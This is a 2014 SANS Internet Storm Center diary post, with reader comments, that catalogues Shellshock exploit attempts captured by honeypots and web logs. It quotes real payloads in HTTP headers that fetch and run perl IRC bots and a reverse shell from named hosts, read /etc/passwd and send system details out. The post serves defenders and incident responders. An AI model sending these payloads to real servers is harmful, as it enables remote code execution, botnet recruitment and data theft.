My next class:

Shellshock: A Collection of Exploits seen in the wild

Published: 2014-09-29. Last Updated: 2014-09-29 15:05:37 UTC
by Johannes Ullrich (Version: 1)
11 comment(s)

Ever since the shellshock vulnerability has been announced, we have seen a large number of scans probing it. Here is a quick review of exploits that our honeypots and live servers have seen so far:

1 - Simple "vulnerability checks" that used custom User-Agents:

() { 0v3r1d3;};echo \x22Content-type: text/plain\x22; echo; uname -a;
() { :;}; echo 'Shellshock: Vulnerable'
() { :;};echo content-type:text/plain;echo;echo [random string];echo;exit
() { :;}; /bin/bash -c "echo testing[number]"; /bin/uname -a\x0a\x0a
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 \x22() { test;};echo \x5C\x22Co\
ntent-type: text/plain\x5C\x22; echo; echo; /bin/cat /etc/passwd\x22 http://[IP address]/cgi-bin/test.cgi

This one is a bit different. It includes the tested URL as user agent. But of course, it doesn't escape special characters correctly, so this exploit would fail in this case. The page at 89.248.172.139 appears to only return an "empty page" message.

) { :;}; /bin/bash -c \x22wget -U BashNslash.http://isc.sans.edu/diary/Update+on+CVE-2014-6271:+Vulnerability+in+bash+(shellshock)/18707 89.248.172.139\x22

 

2 - Bots using the shellshock vulnerability:

This one installs a simple perl bot. Connects to irc.hacker-newbie.org port 6667 channel #bug

() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b\
0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0\
b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http\
://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/sh\
ock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.\
com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; curl -O http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt ; lwp-download http:\
//xr0b0tx.com/shock/xrt ; perl /tmp/xrt ;rm -rf /tmp/xrt ; wget http://xr0b0tx.com/shock/xrt ; perl /tmp/xrt ; rm -rf /tmp/xrt')\x22;

3 - Vulnerability checks using multiple headers:

GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3
Accept: */*
Cookie: () { :; }; ping -c 3 [ipaddress]
Host: () { :; }; ping -c 3 [ipaddress]
Referer: () { :; }; ping -c 3 [ipaddress]

4 - Using Multiple headers to install perl reverse shell (shell connects to 46.246.34.82 port 1992 in this case)

GET / HTTP/1.1
Host: [ip address]
Cookie:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl
Referer:() { :; }; /usr/bin/curl -o /tmp/auth.pl http://sbd.awardspace.com/auth; /usr/bin/perl /tmp/auth.pl

5 - Using User-Agent to report system parameters back (the IP address is currently not responding)

GET / HTTP/1.0
Accept: */*\
aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3
Host: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)"
Cookie: () { :; }; wget -qO- 82.221.99.235 -U="$(uname -a)" 

6 - User-Agent used to install perl box

GET / HTTP/1.0
Host: [ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*

 

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Keywords:
11 comment(s)
My next class:

Comments

I've seen the 0v3r1d3 one, as well as one that looks like:

() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"

The document at that URL claims it another security research company.

I also got another that actually delivers a directly malicious payload:

() { :;}; /bin/bash -c \"wget http://legendsoftwares.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\"
"legend.txt" looks like an IRC bot written in perl. Connects to chaos.legend.rocks port 7777. Currently about 100 bots in that channel.
There are also people attempting to create reverse shells - for example "USER-AGENT : () { :; }; /bin/bash -i >& /dev/tcp/[IP_ADDRESS]/80 0>&1".
66.150.114.30 -- "GET /test HTTP/1.0" 404 368 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""

This is the one I'm seeing show up. It's actually the first one I saw.
We've seen about 1000 attempts from a pair of IP addresses with the following;

User-Agent: () { :; }; "exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')";
Pulled quite a list of perlbot installation attempts out of my web logs.
Sent abuse mails to the providers hosting the C&C IRC servers configured in the perl files.

Also got the bash-count.txt hit. I wonder what good that scan is.. I guess most admins who find that line in their logs will wget the file manually, and end up as a false positive on the research database.
These sample exploits lead me to want to remind everyone of the importance of proper Egress filtering.

At least the ones that rely on running 'wget' or 'curl' as the Apache/web server user would not work on my main web server, assuming bash had not been patched :)
I've been caught by number 6 - User-Agent used to install perl box

On attempting to pull down the file onto an isolated test machine, all I get is a html welcome page, so I guess that the original exploit has been removed.

Can anyone give me more details as to what the original script did so that I can evaluate the damage while we rebuild the system?

Thanks, Alex
() { :;}; /bin/bash -c "/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tm

Appears to be a bot that is trying to look like google analytics.
One of my virtual servers got attacked with that perl box installation:

access.log:70.42.149.79 - - [28/Sep/2014:06:35:46 -0400] "GET /cgi-bin/test.sh HTTP/1.0" 404 358 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
access.log:70.42.149.79 - - [28/Sep/2014:06:35:46 -0400] "GET / HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""
access.log:70.42.149.79 - - [28/Sep/2014:06:35:46 -0400] "GET /test HTTP/1.0" 404 347 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""

Every time right after rebooting the server netstat displayed a bot connection in port 25:

vps-1044161-3266:/etc# netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
.
.
.
tcp 0 0 168.144.XX.XX:25 92.87.210.196:57180 TIME_WAIT -

The destination address varied from reboot to another.

I made a test and removed postfix installation the server. After removing postfix I cann't detect any botnet connection on port 25. Unfortunately the post fix is gone, so I'm not able to analyze the postfix binaries any further. But I suggest that ec.z changed the postfix binaries.

Diary Archives